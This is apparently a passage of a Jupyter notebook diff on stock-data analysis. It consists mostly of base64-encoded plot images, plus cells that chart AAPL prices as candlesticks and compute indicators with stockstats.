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+ }, + "metadata": { + "needs_background": "light" + } + } + ], + "source": [ + "fig = plt.figure(figsize=(10, 10))\n", + "ax = plt.subplot()\n", + "\n", + "plot_data = []\n", + "for i in range(150, len(df_aapl)):\n", + " row = [\n", + " i, \n", + " df_aapl.Open.iloc[i], \n", + " df_aapl.High.iloc[i], \n", + " df_aapl.Low.iloc[i], \n", + " df_aapl.Close.iloc[i], \n", + " ]\n", + " plot_data.append(row)\n", + "candlestick_ohlc(ax, plot_data)\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [], + "source": [ + "from stockstats import StockDataFrame\n", + "stocks = StockDataFrame.retype(df_aapl[[\"Open\", \"Close\", \"High\", \"Low\", \"Volume\"]])" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": "
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P2bIFDh2Ct18smL3tFMGOHWBpeevAn5ylJgsaRvpSShacXMDAFgNp4dKiyLmGv/cFS1Jo3RrGjIH//Q/uvBOWblFB/41nfPn4wRfo0awHoZ1e5WJoMl0GXqZD01asXQvBwbBpE7iaLsytE3TQ12oVQ4XGXVd3meR44cav9Y7WjqSkwGefwV13qZzstbMebN0fQ3x8lXa5TpNSsvbCWoa3Ho61pTUPd3iYVq6tmPfAPOys7MjPVyUMJkyA5s3huaecsbeyJyIlAj8/dUwINTumOIagH58RT15+HociDnEh7kKRG7gG/5tVEPQXp9KqlcrHz197ASGgY//LuNm542zjjKWFJXPvm0tUahQf7vyAqKzLBHRqxX33QZs2qk91lQ76Wq2RlJlEZGqk8T/7zis7Tc4xBH0naydeeAHeeQdSUuDNN6F7Ww9SZQx33w3ROstTIU5cP0F4Sjij2qnNYn1dfbn08iUswwfwt7+pQD94sKpb89dfYGsr8HLyMi7Q8vODV15RZQ6Cg82/hiHoSySJmYmsu7AOC2HB2I5ji5x3+jTM/VYF/en/TFUfKO1XMemwH6sOHaJZp8u0KbhRC2r66HN3Pse3B78lJj2GVq6tKvinUzPpoK/VGudizwHwcIeHcbd3Z+fV4oP+tUuOLFwI774LR4/CjBnQu4sHDZvGEByscrYRFV8Cpl64knjFuFnJ2gtrEQjubXOv8fjMmWqjkXnz1IKmBQvg1Kkb+XFPJ88ic/WfekqleeYVUxHZEPQB4jLiCE0OpaljU1xsXYqc9+GH4FSQ3mnoof4d/HT8JwD2hO7hcsJlk8D+yZBPcLNzA9BBX9NqGkPQ7+jRkYEtBrLjyg6TcwxB/5svHGneXI30DTzsPUjOjWPt+jxCQ2HECMg2fz9YK0RKaVzfcD31On6z/YyVS9deWEsvr140cVQL4ubMgddfh3HjICZG3UidMAGcC+1H4unkWaQUg6cnPPAA/PADpJqZXl8k6KfHEZkaSTPHZkXOiY5Wr/